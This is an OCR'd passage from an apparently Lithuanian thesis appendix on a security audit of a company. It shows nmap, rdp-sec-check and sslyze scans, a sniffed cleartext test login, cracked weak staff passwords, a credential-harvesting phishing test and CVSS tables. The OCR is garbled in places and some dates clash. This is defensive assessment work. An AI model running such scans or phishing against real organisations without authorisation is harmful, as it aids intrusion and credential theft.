Siuos paZeidziamumus nustatyti eksperimento metu buvo panaudotas rdp-sec-check.pl'® jrankis,
kurio pagalba buvo nustatyta, kad nutolusi sistema aaa.bbb.ccc.31 IP adresu palaiko silpng Sifravima
(40 arba 56 bity) bei nesaugius protokolus, kurie nesuteikia galimybés patikrinti serverio tapatybeés:

# perl rdp-sec-check.pl aaa.bbb.ccc.31:3389
Starting rdp-sec-check v0.9-beta ( http://labs.portcullis.co.uk/application/rdp-sec-check/ ) at Thu Apr 13 17:05:05
2018

[+] Scanning 1 hosts
Target: aaa.bbb.ccc.29

1P: aaa.bbb.ccc.29
Port: 3389

10 http://labs.portcullis.co.uk/application/rdp-sec-check/
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[+] Checking supported protocols

[-]
[+] Summary of protocol support

[-] aaa.bbb.ccc.29:3389 supports PROTOCOL SSL : TRUE
[-] aaa.bbb.ccc.29:3389 supports PROTOCOL HYBRID: TRUE
[-] aaa.bbb.ccc.29:3389 supports PROTOCOL RDP : TRUE

[+] Summary of RDP encryption support

[-] aaa.bbb.ccc.29:3389 has encryption level: ENCRYPTION LEVEL CLIENT COMPATIBLE
[-] aaa.bbb.ccc.29:3389 supports ENCRYPTION METHOD NONE :FALSE

[-] aaa.bbb.ccc.29:3389 supports ENCRYPTION METHOD 40BIT : TRUE

[-] aaa.bbb.ccc.29:3389 supports ENCRYPTION METHOD 128BIT : TRUE

[-] aaa.bbb.ccc.29:3389 supports ENCRYPTION METHOD 56BIT : TRUE

[-] aaa.bbb.ccc.29:3389 supports ENCRYPTION METHOD FIPS :TRUE

[+] Summary of security issues

[-] aaa.bbb.ccc.29:3389 has issue WEAK _RDP _ENCRYPTION SUPPORTED

[-] aaa.bbb.ccc.29:3389 has issue NLA SUPPORTED BUT NOT MANDATED DOS
[-] aaa.bbb.ccc.29:3389 has issue SSL SUPPORTED BUT NOT MANDATED MITM
[-] aaa.bbb.ccc.29:3389 has issue FIPS SUPPORTED BUT NOT MANDATED

rdp-sec-check v0.9-beta completed at Thu Apr 27 08:26:21 2018

Eksperimento metu buvo atliktas UAB ,,Mokslas® kompiuterizuotos darbo vietos saugumo
patikrinimas Windows SMB tarnybos MiTM pazeidziamumams.

Windows SMB tarnybos MiTM pazedziamumy vieta kibernetinés atakos vektoriuje pavaizduota 9
pav.

Ginkla-\\\ Prista-
' vimasis’,ﬁ -~ tymas

Zvalgyba

9 pav. Windows SMB tarnybos MiTM pazedziamumy vieta kibernetinés atakos vektoriuje

Windows SMB tarnybos MiTM paZedziamumams identifikuoti Siame darbe buvo atliktas
eksperimentas.

Standartin¢je SMB tarnybos konfigiiracijoje néra jjungtas privalomas pakety pasiraSymas, todél
tarnyba yra pazeidziama MiTM atakai. Privalomas SMB pakety pasiraSymas uZztikrina, kad tik
klientai, kurie palaiko §j saugos mechanizmg gali uzmegzti sesija su nutolusia sistema. PrieSingu
atveju, pries klientus nepalaikancius $io saugumo mechanizmo gali biiti vykdomos s€¢kmingos MiTM
atakos, kurios, priklausomai nuo besijungianc¢ios kliento privilegijy, gali leisti prieigg prie
konfidencialiy duomeny arba sisteminiy komandy vykdymo.
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Siuos pazeidziamumus nustatyti eksperimento metu buvo panaudotas Nmap'! jrankis. Specialiis
komandinés eilutés parametrai nurodo, kad biity atliekami papildomi patikrinimai suradus atvirg 445
prievada. Eksperimento metu atliktas komandos rezultatas parodo, kad aaa.bbb.ccc.6 IP adresu
veikianc¢ioje SMB tarnyboje néra jjungtas privalomas pakety pasiraSymas:

nmap -sS -sV -sC -Pn -p 445 aaa.bbb.ccc.2

Starting Nmap 7.12 ( https://nmap.org ) at 2018-04-12 16:16 FLE Daylight Time

mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or
specify valid servers with --dns-servers

Nmap scan report for aaa.bbb.ccc.2

Host is up (0.0010s latency).

PORT STATE SERVICE  VERSION

445/tcp open microsofi-ds Microsofi Windows 2003 or 2008 microsoft-ds

Service Info: OS: Windows,; CPE: cpe:/o:microsoft:windows_server 2003

Host script results:
| mnbstat: NetBIOS name: aaa-STK-01, NetBIOS user: <unknown>, NetBIOS MAC: 00:15:5d:c8:02:6a
(Microsoft)
| smb-os-discovery:
| OS: Windows Server 2003 R2 3790 Service Pack 2 (Windows Server 2003 R2 5.2)
| OS CPE: cpe:/o:microsoft:windows_server 2003::sp2
| Computer name: svl1484
| NetBIOS computer name: svl1484
| Domain name: bbb.aaa.lt
| Forest name: bbb.aaa.lt
| FODN.: svl1484.bbb.aaa.lt
| System time: 2018-04-12T16:16:44+03:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge response. supported
| message_signing: disabled (dangerous, but default)
| smbv2-enabled: Server doesn't support SMBv2 protocol

Eksperimento metu buvo atliktas UAB ,,Mokslas* kompiuterizuotos darbo viety nesaugiy Windows
sistemy konfigiiracijy saugumo patikrinimas.

Siame darbe buvo atliktas kompiuterizuoty darbo viety saugumo patikrinimas nustatant nesaugias
Windows sistemy konfigiiracijas.

Nesaugiy Windows sistemy konfigiliracijy vieta kibernetinés atakos vektoriuje pavaizduota 10 pav.

\'\\ Ginkla-\\ Prista-
~ vimasis -~ tymas

Zvalgyba

10 pav. Nesaugiy Windows sistemy konfigiiracijy vieta kibernetinés atakos vektoriuje

Nesaugiy Windows sistemy konfigtiracijy identifikavimui Siame darbe buvo atliktas eksperimentas.

" http://nmap.org/download.html
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Eksperimento metu buvo atliktas prievady nuskaitymas, kuriuo metu buvo nustatyta, kad standartiné
Windows sistemos ugniasiené leidzia prieigg prie nutolusioje Windows sistemoje veikianc¢iy SMB ir
RDP tarnyby. Tokia konfigliracija palengvina prieiga prie nutolusioje sistemoje saugomy
konfidencialiy duomeny turint prisijungimo duomenis. Eksperimento metu rasti atviri aaa.bbb.ccc.1
IP sistemos prievadai:

Nmap scan report for svi2653.bbb.aaa.lt (aaa.bbb.ccc.1)
Host is up (0.00040s latency).

Scanned at 2018-04-20 11:29:13 EEST for 617s
Not shown: 93 filtered ports

PORT  STATE SERVICE

135/tcp open msrpc

445/tcp open microsoft-ds

3389/tcp open ms-wbt-server

5357/tcp open wsdapi

49153/tcp open unknown

49154/tcp open unknown

49156/tcp open unknown

MAC Address: 00:25:64:DD:E7:E2 (Dell)

Siame darbe buvo atliktas UAB ,,Mokslas* tarnybiniy sto¢iy saugumo patikrinimas.

Sistemy tarnybiniy stociy saugumo patikrinimo metu buvo tikrinamos vidiniame UAB ,,Mokslas*
tinkle veikianc¢iy tarnybiniy sto¢iy operacinés sistemos, ar jos néra pazeidziamos remiantis $iai dienai
zinomomis saugumo spragomis. Taip pat buvo tikrinimas sistemy tarnybiniy sto¢iy ir jose veikianciy
aplikacijy konfigiiracijos saugumas, kuris leisty vartotojams eskaluoti teises sistemoje.

Eksperimento metu buvo atliktas UAB ,,Mokslas* tarnybiniy sto¢iy saugumo patikrinimas Windows
RDP tarnybos MiTM pazeidziamumames.

Standartine RDP tarnybos konfigiiracija yra pazeidziama MiTM atakai. Konfigiiracijoje néra
nurodyta, kad prisijungimai bty leidziami tik naudojant saugius NLA ir/arba TLS protokolus kartu
su patikimu SSL sertifikatu. Sie protokolai leidzia patvirtinti serverio tapatybe, todél apsaugo nuo
MiTM ataky. Taip pat RDP tarnybos konfigiiracijoje yra nustatytas vidutinis Sifravimo lygis. Tokia
konfigiiracija palengvina perimty komunikacijy tarp kliento ir pazeidziamo serverio i8Sifravima.

Windows RDP tarnybos MiTM pazedziamumy vieta kibernetinés atakos vektoriuje pavaizduota 11
pav.

Ginkla- Prista-

avalgyba vimasis tymas

11 pav. Windows RDP tarnybos MiTM pazedziamumy vieta kibernetinés atakos vektoriuje

Windows RDP tarnybos MiTM pazedziamumams identifikuoti Siame darbe buvo atliktas
eksperimentas.
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Siems paZeidziamumams nustatyti eksperimento metu buvo panaudotas rdp-sec-check'? jrankis,
kurio pagalba yra nustatyta, kad nutolusi sistema aaa.bbb.ccc.1 IP adresu palaiko silpna Sifravima (40
arba 56 bity) bei nesaugius protokolus, kurie nesuteikia galimybés patikrinti serverio tapatybés:

# perl rdp-sec-check.pl aaa.bbb.ccc.1:3389
Starting rdp-sec-check v0.9-beta ( http://labs.portcullis.co.uk/application/rdp-sec-check/ ) at Thu Apr 13 17:05:05
2018

[+] Scanning 1 hosts

Target: aaa.bbb.ccc.1
IP: aaa.bbb.ccc.1
Port: 3389

[+] Checking supported protocols

[-] Checking if RDP Security (PROTOCOL _RDP) is supported...Supported
[-] Checking if TLS Security (PROTOCOL SSL) is supported...Supported
[-] Checking if CredSSP Security (PROTOCOL HYBRID) is supported [uses NLA]...Supported

[+] Checking RDP Security Layer

[-] Checking RDP Security Layer with encryption ENCRYPTION METHOD NONE...Not supported

[-] Checking RDP Security Layer with encryption ENCRYPTION METHOD 40BIT...Supported.  Server
encryption level: ENCRYPTION LEVEL CLIENT COMPATIBLE

[-] Checking RDP Security Layer with encryption ENCRYPTION METHOD 128BIT...Supported. Server
encryption level: ENCRYPTION LEVEL CLIENT COMPATIBLE

[-] Checking RDP Security Layer with encryption ENCRYPTION METHOD 56BIT...Supported.  Server
encryption level: ENCRYPTION LEVEL CLIENT COMPATIBLE

[-] Checking RDP Security Layer with encryption ENCRYPTION METHOD FIPS...Supported.  Server
encryption level: ENCRYPTION LEVEL CLIENT COMPATIBLE

[+] Summary of protocol support

[-] aaa.bbb.ccc.1:3389 supports PROTOCOL HYBRID: TRUE
[-] aaa.bbb.ccc.1:3389 supports PROTOCOL SSL : TRUE
[-] aaa.bbb.ccc.1:3389 supports PROTOCOL RDP :TRUE

[+] Summary of RDP encryption support

[-] aaa.bbb.ccc.1:3389 has encryption level: ENCRYPTION LEVEL CLIENT COMPATIBLE
[-] aaa.bbb.ccc.1:3389 supports ENCRYPTION METHOD NONE : FALSE

[-] aaa.bbb.ccc.1:3389 supports ENCRYPTION METHOD 40BIT : TRUE

[-] aaa.bbb.ccc.1:3389 supports ENCRYPTION METHOD 128BIT : TRUE

[-] aaa.bbb.ccc.1:3389 supports ENCRYPTION METHOD 56BIT : TRUE

[-] aaa.bbb.ccc.1:3389 supports ENCRYPTION METHOD FIPS :TRUE

[+] Summary of security issues

[-] aaa.bbb.ccc.1:3389 has issue WEAK RDP ENCRYPTION SUPPORTED

[-] aaa.bbb.ccc.1:3389 has issue FIPS SUPPORTED BUT NOT MANDATED

[-] aaa.bbb.ccc.1:3389 has issue NLA SUPPORTED BUT NOT MANDATED DOS
[-] aaa.bbb.ccc.1:3389 has issue SSL_ SUPPORTED BUT NOT MANDATED MITM

12 http://labs.portcullis.co.uk/application/rdp-sec-check/
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rdp-sec-check v0.9-beta completed at Thu Apr 13 17:05:08 2018

Eksperimento metu buvo atliktas UAB ,,Mokslas* tarnybiniy sto¢iy saugumo patikrinimas Windows
SMB tarnybos MiTM paZeidziamumames.

Windows SMB tarnybos MiTM pazeidziamumy vieta kibernetinés atakos vektoriuje pavaizduota 12
pav.

— -

i Ginkla-\\\ Prista-
- Zvalgyba /\“ vimasis ~ tymas

12 pav. Windows SMB tarnybos MiTM pazeidziamumy vieta kibernetinés atakos vektoriuje

Windows SMB tarnybos MiTM paZzedziamumams identifikuoti Siame darbe buvo atliktas
eksperimentas.

Siems paZeidziamumams nustatyti eksperimento metu panaudotas Nmap'® jrankis. Specialiis
komandinés eilutés parametrai nurodo, kad biity atliekami papildomi patikrinimai suradus atvirg 445
prievada. Eksperimento metu gautas komandos rezultatas parodo, kad aaa.bbb.ccc.6 IP sistemoje
veikiancioje SMB tarnyboje néra jjungtas privalomas pakety pasiraSymas:

nmap -sS -sV -sC -Pn -p 445 aaa.bbb.ccc.6

Starting Nmap 7.12 ( https://nmap.org ) at 2017-04-12 16:16 FLE Daylight Time

mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or
specify valid servers with --dns-servers

Nmap scan report for aaa.bbb.ccc.6

Host is up (0.0010s latency).

PORT STATE SERVICE  VERSION

445/tcp open microsoft-ds Microsoft Windows 2003 or 2008 microsoft-ds

Service Info: OS: Windows,; CPE: cpe:/o:microsoft:windows_server 2003

Host script results:
| _nbstat: NetBIOS name: AAA-STK-01, NetBIOS user: <unknown>, NetBIOS MAC: 00:15:5d:¢8:02:6a
(Microsoft)
| smb-os-discovery:
| OS: Windows Server 2003 R2 3790 Service Pack 2 (Windows Server 2003 R2 5.2)
| OS CPE: cpe:/o:microsoft:windows_server 2003::sp2
| Computer name: AAA-STK-01
| NetBIOS computer name: AAA-STK-01
| Domain name: bbb.aaa.lt
| Forest name: bbb.aaa.lt
| FODN: AAA-STK-01.bbb.aaa.lt
| System time: 2017-04-12T16:16:44+03:00
| smb-security-mode:
| account used: guest
| authentication_level: user
| challenge response. supported
| message signing: disabled (dangerous, but default)
| _smbv2-enabled: Server doesn't support SMBv2 protocol

13 http://nmap.org/download.html
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Eksperimento metu buvo atliktas UAB ,,Mokslas* tarnybiniy stoiy saugumo patikrinimas del SSL /
TLS konfigiiracijos pazeidziamumy.

Siame darbe buvo atliktas tarnybiniy sto¢iy saugumo patikrinimas nustatant SSL / TLS konfigiracijos
pazeidziamumus.

Nutolusiose sistemose, kurios suteikia prisijungima naudojant SSL / TLS duomeny Sifravima, yra
naudojami SSL sertifikatai, kuriy galiojimo laikas yra pasibaiges arba sertifikatai néra pasiraSyti
autoritetingo Saltinio. Tokiy sertifikaty naudojimas eliminuoja serverio autentiSkumo patikra, todél
atsiranda galimybé vykdyti MiTM atakas pries§ vartotojus besijungiancius ] netinkamai apsaugotas
sistemas. Kai kuriy sistemy konfigliracijoje yra jjungtas pasenusio SSLv2 protokolo ir silpny Sifry
palaikymas, o tai palengvina informacijos, kuri perduodama naudojant SSL / TLS duomeny
Sifravima, perémima.

SSL / TLS konfigiiracijos pazedziamumy vieta kibernetinés atakos vektoriuje pavaizduota 13 pav.

Ginkla- . Prista-

Zvalgyba ~ vimasis tymas

13 pav. SSL / TLS konfigiiracijos pazedziamumy vieta kibernetinés atakos vektoriuje
SSL / TLS konfigiiracijos pazedziamumams identifikuoti Siame darbe buvo atliktas eksperimentas.

Eksperimento metu SSL / TLS konfigiiracijos triikumai buvo identifikuoti naudojant automatinius
pazeidziamumy paieskos jrankius ir nustatyta, kad sistemoje, kuri naudoja aaa.bbb.ccc.51 IP adresa,
kuris veikia 443 prievade yra naudojamas SSLv2 ir SSLv3 versijos, taip pat, sertifikatas pasirasytas
naudojant silpng maisSos funkcijg (SHA1):

# sslyze --regular aaa.bbb.ccc.51
[-]

* SSLV2 Cipher Suites:
Preferred:

RC4-MD5 - 128 bits ~ HTTP 200 OK
Accepted:

RC4-MD5 - 128 bits ~ HTTP 200 OK

DES-CBC3-MD5 - 112 bits ~ HTTP 200 OK

*TLSV1 2 Cipher Suites:
Server rejected all cipher suites.

* Certificate - Content:

SHAI Fingerprint: c4d5849584260c2bba67db20c931f86b7aa0bef3
Common Name: mail.aaa.lt

Issuer: AAA CA

Serial Number: 46F943D1000000001E2C

Not Before: Mar 2 17:34:36 2014 GMT

Not After: Mar 2 17:44:36 2019 GMT

Signature Algorithm: shal WithRSAEncryption

Public Key Algorithm: rsaEncryption
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Key Size: 2048 bit
Exponent: 65537 (0x10001)
X509v3 Subject Alternative Name: {'DNS': ['mail.aaa.lt’, ‘autodiscover.aaa.lt', 'webmail.aaa.lt', aaa.lt']}

* Certificate - Trust:

Hostname Validation: FAILED - Certificate does NOT match aaa.bbb.ccc.51

Google CA Store (09/2015): FAILED - Certificate is NOT Trusted: unable to get local issuer certificate
Java 6 CA Store (Update 65):  FAILED - Certificate is NOT Trusted: unable to get local issuer certificate
Microsoft CA Store (09/2015):  FAILED - Certificate is NOT Trusted: unable to get local issuer certificate
Apple CA Store (OS X 10.10.5):  FAILED - Certificate is NOT Trusted: unable to get local issuer certificate
Mozilla NSS CA Store (09/2015):  FAILED - Certificate is NOT Trusted: unable to get local issuer certificate
Certificate Chain Received: ['mail.aaa.lt']

* Certificate - OCSP Stapling:
NOT SUPPORTED - Server did not send back an OCSP response.

*TLSVI1 1 Cipher Suites:
Server rejected all cipher suites.

* SSLV3 Cipher Suites:

Preferred:
RC4-SHA - 128 bits  HTTP 200 OK
Accepted:
RC4-SHA - 128 bits  HTTP 200 OK
RC4-MD5 - 128 bits  HTTP 200 OK
DES-CBC3-SHA - 112 bits  HTTP 200 OK

* TLSV1 Cipher Suites:

Preferred:
ECDHE-RSA-AES256-SHA ECDH-256 bits 256 bits  HTTP 200 OK

Accepted:
ECDHE-RSA-AES256-SHA ECDH-256 bits 256 bits ~ HTTP 200 OK
DHE-RSA-AES256-SHA DH-1024 bits 256 bits  HTTP 200 OK
AES256-SHA - 256 bits  HTTP 200 OK
ECDHE-RSA-AES128-SHA ECDH-256 bits 128 bits ~ HTTP 200 OK
DHE-RSA-AES128-SHA DH-1024 bits 128 bits ~ HTTP 200 OK
RC4-SHA - 128 bits ~ HTTP 200 OK
RC4-MD5 - 128 bits ~ HTTP 200 OK
AESI128-SHA - 128 bits ~ HTTP 200 OK
DES-CBC3-SHA - 112 bits  HTTP 200 OK

SCAN COMPLETED IN 0.46 S

Eksperimento metu buvo atliktas UAB ,,Mokslas® tarnybiniy sto¢iy saugumo patikrinimas ar
autentifikacija yra naudojama neapsaugota t. y. atviro teksto protokolais.

Kai vartotojy prisijungimo prie FTP serverio ir WEB aplikacijy administravimo sgsajy duomenys yra
perduodami atviro teksto protokolais — neSifruotai, tai piktavalis turintis prieiga prie vartotojo arba
pazeidziamo serverio tinklo segmento turi galimybe¢ perimti duomeny srautg ir taip iSgauti vartotojy
perduodamus prisijungimo duomentis.

Neapsaugotos autentifikacijos vieta kibernetinés atakos vektoriuje pavaizduota 14 pav.
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| i Ginkla- Prista-
‘ a.gyba vimasis tymas

14 pav. Neapsaugotos autentifikacijos vieta kibernetinés atakos vektoriuje

Identifikuoti ar autentifikacija yra naudojama neapsaugota Siame darbe buvo atliktas eksperimentas.

Norint nustatyti, ar jmanoma perimti siun¢iamus nesifruotus duomenis HTTP protokolu, pakankama
perzifiréti siunc¢iamus tinklo paketus su pakety perémimo programa Wireshark'#. Eksperimento metu
nustatyta, kad perimti HTTP paketai i§ sistemos aaa.bbb.ccc.9 IP adresu néra Sifruoti, o prisijungimo
duomenys matomi atviru tekstu (pav. 15).

~ HTML Form URL Encoded: lpp]icltlm.fx-ﬂ-fnr--urlzrl:u-d:d
Fors iftem: = bl e

®XEUSER™ = “sectest”

wtPel” = “secpassword”

Form item:
Form item:

15 pav. Perimtas HTTP paketas atskleidziantis prisijungimo duomenis

1 https://www.wireshark.org/
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3 priedas. UAB ,,Mokslas“ Zmogiskojo faktoriaus patikrinimas

Zmogiskojo faktoriaus patikrinimo metu buvo jvertinti UAB ,Mokslas* darbuotojy gebéjima
pastebéti vykdomas duomeny vagystés atakas bei nustatyti ar yra laikomasi tam tikry saugos
politikose nurodyty taisykliy. Patikrinimui buvo siun¢iami duomeny vagystés atakos laiSkai UAB
»Mokslas* darbuotojams, analizuojami vartotojy slaptazodziy atitikimo saugos reikalavimams bei
bandoma atskleisti konfidencialig informacijg neSifruotais duomeny perdavimo kanalais.

Vykdant paprasty vartotojy saugos politikos laikymosi patikrinimg buvo tikrinama ar UAB
,»Mokslas‘ darbuotojai laikosi saugaus slaptazodzio sudarymo bei jo saugojimo taisykliy:

- slaptazodziams neturi biiti naudojama asmeninio pobiidZio informacija;

- slaptazodziais neturi biiti kompiuteriniai terminai, zargono ar slengo Zzodziai, zodziai i§ bet
kurios kalbos Zodyno arba §ie zodZiai parasyti atvirk$ciai bei minéti Zodziai su pradzioje arba
pabaigoje pridétais skaiCiais, kompiuteriy klaviatiiros sekos, pvz., qwerty, 456789, 123321,
qazwsx ir pan.;

- Naudotojas privalo saugoti slaptazodj, jo neatskleisti ir nesudaryti kity salygy juo naudotis
kitiems asmenims, jskaitant tiesioginj vadova.

Siekiant nustatyti ar UAB ,,Mokslas* darbuotojai laikosi saugaus slaptazodzio sudarymo taisykliy,
aprasyty vidiniuose saugumo politikos laikymosi aktuose, buvo analizuojama audito metu surinkta
slaptazodziy informacija, bei slaptazodziai gauti duomeny vagystés atakos metu.

Vykdant parinkimo pagal Zodyng atakas buvo bandoma parinkti silpnus, lengvai nuspé¢jamus
slaptazodzius. Tokie slaptazodziai neatitinka saugaus slaptazodzio sudarymo taisykliy ir daznai yra
panaudojami jsilauzeliy siekiant patekti j autentifikuotg sistemos dalj arba pasikelti privilegijas
atakuojamoje sistemoje.

Analizuojant paliktus prisijungimo duomenis pagal nutylé¢jima, ar testy metu surinktus prisijungimo
duomenis, buvo nustatyta, jog kai kurie darbuotojai pasirenka lengvai nuspéjama slaptazod;j, kuris
sudarytas naudojant silpnas slaptazodzio sudarymo taisykles: slaptazodis yra paremtas reikSminiu
70dziu, kurio pirma raidé yra didZioji, o pabaigoje pridedami skai¢iai. Zemiau pateikiami silpny
slaptazodziy, atskleisty vykdant parinkimo atakas, pavyzdziai:

fibranne
password
admin
Acanturus3
laikinas
Pastarnokas7
saliami7
Biudzetas00
Kluisal3
Strategija44
Laikinas124

Duomeny vagystés atakos imitacijos (vykdytos 2018-05-21 dieng) metu, 50 atrinkty UAB ,,Mokslas‘
darbuotojy buvo iSsiysti spec. paruosti el. paSto laiskai, sitilantys atostogas Nidoje. Paspaudes
nuorodg vartotojas buvo nukreipiamas } studento kontroliuojamg tinklalapj, kuris atrodo kaip viena
1§ UAB ,,Mokslas* informacinés sistemos langas (1 pav.). Tinklalapis talpina papras¢iausiag HTML
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forma, ] kurig vartotojo prasoma jvesti prisijungimo prie UAB ,,Mokslas* sistemos duomenis —
vartotojo vardg ir slaptazod;.

€ OF ssuletcgmidal c @

Svedias | Prisiungl

PratFa > saukMofnidalt prisiiuindgmmas

Prisungti

1 pav. Suklastotas puslapis

Per atakos vykdymo laikotarpj uZregistruoti 6 unikaliis vidinés UAB ,,Mokslas* informacinés
sistemos vartotojy prisijungimo duomeny perdavimai. Perimti vartotojy vardai bei slaptazodziai
pateikiami 1 lenteléje.

1 lentelé. Perimta naudotojy prisijungimo informacija

Laikas Vartotojo vardas SlaptaZodis
2017-04-24 09:58:22 S0001122 Ltk
2017-04-24 10:03:36 S0002233 Kok dskxrkg
2017-04-24 10:14:11 S0003344 QR ok
2017-04-24 10:23:29 S0006677 SRR HRHHL
2017-04-24 11:57:13 S0008899 PCLLLLLLR)
2017-04-24 11:59:30 S0004455 Bk wHkA*()

Analizuojant eksperimento metu surinktus duomenis galima pastebéti, jog kai kurie slaptazodziai
neatitinka saugos politikos reikalavimy. Silpny slaptazodziy naudojimas palengving jsilauzélio darba
slaptazodziy parinkimo atakos metu.
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4 priedas. UAB ,,Mokslas“ IT&T tinklo paZeidZiamumo jvertinimas

Siame darbe atlikus UAB ,Mokslas“ iSorinio tinklo kibernetinio saugumo patikrinima gauti

pazeidziamumy patikrinimo rezultatai pavaizduoti 1 lentel¢je.

1 lentelé. ISorinio tinklo ir sistemy pazeidZiamumo rezultatai

O - CVSS3
PazeidzZiamumo apraSymas

reik§meé [43]

CVSS3 vektorius [43]

ISorinio tinklo architektiiros paZeidZiamumy patikrinimas

Daugybiniai SSL / TLS paZeidZiamumai

Pazeidziamumo panaudojimas mazai tikétinas, nes bitina tinklo srauto

vy

4.8

N . . . o . Vidutiné
perimti tarp kliento ir serverio perduodamus privacius duomenis. (Vi)

AV:N/AC:H/PR:N/UIL:N
/S:U/C:L/I:L/A:N

Sisteminés informacijos atskleidimo paZeidZiamumai

Pazeidziamumas nesunkiai aptinkamas ir panaudojamas. Gautg sisteming

/AV:N/AC:L/PR:N/UIL:N

informacijg piktavalis gali panaudoti tolimesniy ataky vykdymui. /S:U/C:H/I:N/A:N
Duomeny saugumo patikrinimas
XSS pazZeidZiamumai
Pazeidziamumo panaudojimas mazai tikétinas, nes bitina tinklo srauto 43 AV:N/AC:H/PR:N/UL:N
perémimo galimybé, bet perémus tinklo srautg piktavalis gali isSifruoti ir (Vi dﬁtiné) /S:U/C:L/.L/A:N
perimti tarp kliento ir serverio perduodamus privacius duomenis.
IKE agresyvaus reZimo maiSos nutekinimo paZeidZziamumai
Sékmingai atakai jsilauzéliui reikia Zinoti teisinga ,,id“ reikSme. Turint Sig 53 /AV:N/AC:L/PR:N/UL:N
reik§me piktavalis gali perimti IKE slapta maisa, kurig gali panaudoti prieigai (Vi dﬁtiné) /S:U/C:L/I:N/A:N
prie VPN tinklo.
SlaptaZodZiy perdavimas neSifruotu kanalu
Pazeidziamumas gali biiti panaudotas paprastomis priemonémis, taciau tam 54 /AV:A/AC:L/PR:N/ULN
bitina prieiga prie tinklo srauto. Piktavalis gali perimti prisijungimui prie (Vi dl.ltiné) /S:U/C:L/I.L/A:N
vartotojy paskyry naudojamus slaptazodzius.
Neapsaugoti nukreipimus i kitg tinklapj
Pazeidziamumas nesunkiai aptinkamas, taciau sékmingam jo panaudojimui 53 /AV:N/AC:L/PR:N/UL:N
reikia papildomy vartotojo veiksmy. Piktavalis gali nukreipti vartotojus | (Vi dﬁtiné) /S:U/C:L/I:N/A:N
kenkejiska puslapj ir taip vykdyti atakas pries jy sistemas.

Atsparumo DoS atakoms patikrinimas

Siai atakai reikalingas techninis ir organizacinis pasiruo§imas. Piktavalis gali
uzblokuoti teiséty vartotojy prieigg prie interneto svetainés.

Pazeidziamumas nesunkiai aptinkamas, taciau sékmingam jo panaudojimui
reikia papildomy vartotojo veiksmy. Piktavalis gali jdiegti kenkéjiska koda,
kuris galéty susisiekti su piktavalio kontroliuojamomis sistemomis esan¢iomis
iSoréje.

V:N/AC:L/PR:N/UL:N
S:U/C:N/I:N/A:H

Antivirusiniy sistemy susidorojimo su Zalingu kodu patikrinimas

V:L/AC:L/PR:N/UIL:R
S:U/C:H/I:H/A:H

Siame darbe atlikus UAB , Mokslas“ vidinio tinklo kibernetinio saugumo patikrinima gauti

pazeidziamumy patikrinimo rezultatai pavaizduoti 2 lentel¢je.

2 lentelé. Vidinio tinklo ir sistemy pazeidziamumo rezultatai

98



PazeidZiamumo apraSymas

CVSS3
reik§meé [43]

CVSS3 vektorius [43]

Tinklo jrangos konfigiiracijos patikrinimas

Neapsaugota prieiga prie vidinio tinklo

Pazeidziamumas nebuvo aptiktas, jeigu jis toks biity tai jis yra /AV:A/AC:H/PR:H/UL:N
nesunkiai panaudojamas, taciau tam bitina fiziné prieiga prie tinklo /S:U/C:N/I:N/A:N)
rozeciy. Piktavalis gaves fizing prieiga prie neapsaugoty tinklo
rozeciy, gali pajungti savo jrenginj ir vykdyti tolimesnes atakas pries
vidinio tinklo sistemas.
Nesaugi ugniasieniy konfigiiracija
Pazeidziamumas yra nesunkiai aptinkamas ir panaudojamas /AV:N/AC:L/PR:L/UL:N

standartinémis priemonémis, taciau tam butina prieiga prie vidinio
tinklo. Gavus prieiga prie vienos i§ kompiuterizuoty darbo viety
sistemy galima vykdyti atakas prie§ sistemas esancias tarnybiniy stociy
ir DMZ1 tinklo segmentuose.

5.4
(Viduting)

/S:U/C:L/I:N/A:N

SNMP tarnybos standartiné konfigiiracija

Pazeidziamumas yra nesunkiai aptinkamas ir panaudojamas /AV:A/AC:L/PR:N/ULN
standartinémis priemonémis, taciau tam bitina prieiga prie vidinio 4.6 /S:U/C:L/I:N/A:N
tinklo. Pazeidziamumas gali biiti panaudotas sisteminés informacijos | (Viduting)
surinkimui bei tikétina tinklo jrangos konfigiiracijos keitimui.

ARP pakety klastojimo ataka
Pazeidziamumas yra nesunkiai aptinkamas ir panaudojamas /AV:A/AC:L/PR:N/UL:R
standartinémis priemonémis, taciau tam bitina prieiga prie vidinio 6.3 /S:C/C:L/I.L/A:L
tinklo. ARP pakety klastojimo ataka gali biiti panaudota konfidencialiy (Vi dﬁtiné)

duomeny, tokiy kaip prisijungimo slaptazodziai perduodami atviro
teksto protokolais, perémimui.

NBNS / LLMNR pakety klastojimo ataka

Pazeidziamumas yra nesunkiai aptinkamas ir panaudojamas
standartinémis priemonémis, taciau tam butina prieiga prie vidinio
tinklo. NBNS pakety klastojimo ataka gali bati panaudota
konfidencialiy duomeny, tokiy kaip prisijungimo slaptazodziai
perduodami HTTP protokolu, perémimui.

6.3
(Viduting)

/AV:A/AC:L/PR:N/UIL:R
/S:C/C:L/I:L/A:L

Tinklo jrangos standartiniai slaptaZodziai

Pazeidziamumas yra nesunkiai aptinkamas ir panaudojamas
standartinémis priemonémis, taciau tam bitina prieiga prie vidinio
tinklo. Prieiga prie administravimo sasajy gali biiti panaudota saugumo
nustatymy keitimui ir tinklo srauto perémimui.

Kompiuterizuotos darbo viety saugumo patikrinimas

/AV:A/AC:L/PR:N/UL:N
/S:C/C:H/I:H/A:H

Windows RDP tarnybos MiTM paZeidZiamumas

Pazeidziamumas gali biiti panaudotas paprastomis priemonémis, taciau
tam bitina prieiga prie tinklo srauto. Jsilauzélis gali perimti ir i§ifruoti
tarp kliento ir serverio perduodamus privacius duomenis arba gauti
prieiga prie nutolusios sistemos.

5.6
(Viduting)

/AV:A/AC:H/PR:N/UIL:R
/S:C/C:H/I:N/A:N

Windows SMB tarnybos MiTM paZeidZiamumas

Pazeidziamumas gali baiti panaudotas paprastomis priemonémis, taciau
tam biitina prieiga prie tinklo srauto. Pazeidziamumo panaudojimas
gali suteikti prieigg prie konfidencialiy duomeny arba leisti sisteminiy
komandy vykdyma.

5.6
(Vidutine)

/AV:A/AC:H/PR:N/UIL:R
/S:C/C:H/I:N/A:N

Nesaugi Windows sistemu konfigiiracija
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CVSS3
reik§meé [43]

CVSS3 vektorius [43]

PazeidZiamumo apraSymas

/AV:N/AC:L/PR:N/UL:N
/S:U/C:L/I:L/A:L

Pazeidziamy panaudojimas reikalauja prieigos prie sistemos arba
